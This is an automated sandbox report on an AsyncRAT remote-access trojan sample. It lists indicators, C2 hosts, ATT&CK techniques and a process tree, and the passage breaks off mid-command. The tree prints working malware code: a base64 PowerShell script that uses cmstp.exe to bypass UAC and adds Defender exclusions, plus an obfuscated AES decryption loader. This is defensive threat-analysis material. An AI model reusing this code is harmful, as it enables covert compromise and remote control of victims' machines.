asyncrat | 20dd257e3dc3a5a45a864ae9de7e13e0800007b1241a5c4bc104a0ba69d9dcf3

Analysis

max time kernel
99s
max time network
154s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-12-2024 19:22

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General

Target

7623_output.vbs
Size

203KB
MD5

0277c2765732f368a0b5260a2f100d5f
SHA1

88b89fa52c3ef01f500c62eaa5d420e51bcd2eb3
SHA256

20dd257e3dc3a5a45a864ae9de7e13e0800007b1241a5c4bc104a0ba69d9dcf3
SHA512

f11d1b42e1b1255044eb3dcbf3f625506174600c2f36f06847f050cafea8d5001506b34b3beafe5352b925b5dc873af9523aaab83bafde8db9177fa281b1371b
SSDEEP

1536:abfH0KjpWwyBGjb59fSpcnZmDf+c+CMG3892XEtSPeVDr+HeOubxS8fddN:a7H0KjppKkJSSuf+c+Zo/cP+0bxS81T

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:2101

jt8iyre.localto.net:55644

Mutex

E0GLVPl3iUqi

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/5240-127-0x0000000006120000-0x0000000006132000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
35	5240	powershell.exe
38	5240	powershell.exe
39	5240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5984	powershell.exe
3176	powershell.exe
3988	powershell.exe
2412	powershell.exe
5240	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5724	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5984	powershell.exe
5984	powershell.exe
3176	powershell.exe
3176	powershell.exe
3988	powershell.exe
3988	powershell.exe
2412	powershell.exe
2412	powershell.exe
5240	powershell.exe
5240	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5984	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeIncreaseQuotaPrivilege	3176	powershell.exe
Token: SeSecurityPrivilege	3176	powershell.exe
Token: SeTakeOwnershipPrivilege	3176	powershell.exe
Token: SeLoadDriverPrivilege	3176	powershell.exe
Token: SeSystemProfilePrivilege	3176	powershell.exe
Token: SeSystemtimePrivilege	3176	powershell.exe
Token: SeProfSingleProcessPrivilege	3176	powershell.exe
Token: SeIncBasePriorityPrivilege	3176	powershell.exe
Token: SeCreatePagefilePrivilege	3176	powershell.exe
Token: SeBackupPrivilege	3176	powershell.exe
Token: SeRestorePrivilege	3176	powershell.exe
Token: SeShutdownPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeSystemEnvironmentPrivilege	3176	powershell.exe
Token: SeRemoteShutdownPrivilege	3176	powershell.exe
Token: SeUndockPrivilege	3176	powershell.exe
Token: SeManageVolumePrivilege	3176	powershell.exe
Token: 33	3176	powershell.exe
Token: 34	3176	powershell.exe
Token: 35	3176	powershell.exe
Token: 36	3176	powershell.exe
Token: SeDebugPrivilege	5724	taskkill.exe
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeIncreaseQuotaPrivilege	2412	powershell.exe
Token: SeSecurityPrivilege	2412	powershell.exe
Token: SeTakeOwnershipPrivilege	2412	powershell.exe
Token: SeLoadDriverPrivilege	2412	powershell.exe
Token: SeSystemProfilePrivilege	2412	powershell.exe
Token: SeSystemtimePrivilege	2412	powershell.exe
Token: SeProfSingleProcessPrivilege	2412	powershell.exe
Token: SeIncBasePriorityPrivilege	2412	powershell.exe
Token: SeCreatePagefilePrivilege	2412	powershell.exe
Token: SeBackupPrivilege	2412	powershell.exe
Token: SeRestorePrivilege	2412	powershell.exe
Token: SeShutdownPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeSystemEnvironmentPrivilege	2412	powershell.exe
Token: SeRemoteShutdownPrivilege	2412	powershell.exe
Token: SeUndockPrivilege	2412	powershell.exe
Token: SeManageVolumePrivilege	2412	powershell.exe
Token: 33	2412	powershell.exe
Token: 34	2412	powershell.exe
Token: 35	2412	powershell.exe
Token: 36	2412	powershell.exe
Token: SeIncreaseQuotaPrivilege	2412	powershell.exe
Token: SeSecurityPrivilege	2412	powershell.exe
Token: SeTakeOwnershipPrivilege	2412	powershell.exe
Token: SeLoadDriverPrivilege	2412	powershell.exe
Token: SeSystemProfilePrivilege	2412	powershell.exe
Token: SeSystemtimePrivilege	2412	powershell.exe
Token: SeProfSingleProcessPrivilege	2412	powershell.exe
Token: SeIncBasePriorityPrivilege	2412	powershell.exe
Token: SeCreatePagefilePrivilege	2412	powershell.exe
Token: SeBackupPrivilege	2412	powershell.exe
Token: SeRestorePrivilege	2412	powershell.exe
Token: SeShutdownPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeSystemEnvironmentPrivilege	2412	powershell.exe
Token: SeRemoteShutdownPrivilege	2412	powershell.exe
Token: SeUndockPrivilege	2412	powershell.exe
Token: SeManageVolumePrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1620 wrote to memory of 5984	1620	WScript.exe	82
PID 1620 wrote to memory of 5984	1620	WScript.exe	82
PID 5984 wrote to memory of 6132	5984	powershell.exe	86
PID 5984 wrote to memory of 6132	5984	powershell.exe	86
PID 6132 wrote to memory of 4960	6132	csc.exe	87
PID 6132 wrote to memory of 4960	6132	csc.exe	87
PID 5984 wrote to memory of 1120	5984	powershell.exe	88
PID 5984 wrote to memory of 1120	5984	powershell.exe	88
PID 1620 wrote to memory of 5972	1620	WScript.exe	102
PID 1620 wrote to memory of 5972	1620	WScript.exe	102
PID 5972 wrote to memory of 3988	5972	cmd.exe	104
PID 5972 wrote to memory of 3988	5972	cmd.exe	104
PID 5972 wrote to memory of 3988	5972	cmd.exe	104
PID 3988 wrote to memory of 2412	3988	powershell.exe	105
PID 3988 wrote to memory of 2412	3988	powershell.exe	105
PID 3988 wrote to memory of 2412	3988	powershell.exe	105
PID 3988 wrote to memory of 1324	3988	powershell.exe	108
PID 3988 wrote to memory of 1324	3988	powershell.exe	108
PID 3988 wrote to memory of 1324	3988	powershell.exe	108
PID 1324 wrote to memory of 5920	1324	WScript.exe	109
PID 1324 wrote to memory of 5920	1324	WScript.exe	109
PID 1324 wrote to memory of 5920	1324	WScript.exe	109
PID 5920 wrote to memory of 5240	5920	cmd.exe	111
PID 5920 wrote to memory of 5240	5920	cmd.exe	111
PID 5920 wrote to memory of 5240	5920	cmd.exe	111

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7623_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hhkuly0y\hhkuly0y.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6132
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA50A.tmp" "c:\Users\Admin\AppData\Local\Temp\hhkuly0y\CSC35E5FC1BA5984F859EDCAC13E0816ED5.TMP"
      4⤵
      PID:4960
- - C:\windows\system32\cmstp.exe
    "C:\windows\system32\cmstp.exe" /au C:\windows\temp\fvm3ebsy.inf
    3⤵
    PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+4QKE1J0K9CBQq122My7d9xjYIEzvU8nKu3pXsE/60I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VwAnjqEmBh3DPh2idDTQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$hShqt=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$Wtaby=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$wQXJL=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($hShqt, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $wQXJL.CopyTo($Wtaby); $wQXJL.Dispose(); $hShqt.Dispose(); $Wtaby.Dispose(); $Wtaby.ToArray();}function execute_function($param_var,$param2_var){ IEX '$REVPOaYHbSStfbh=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX 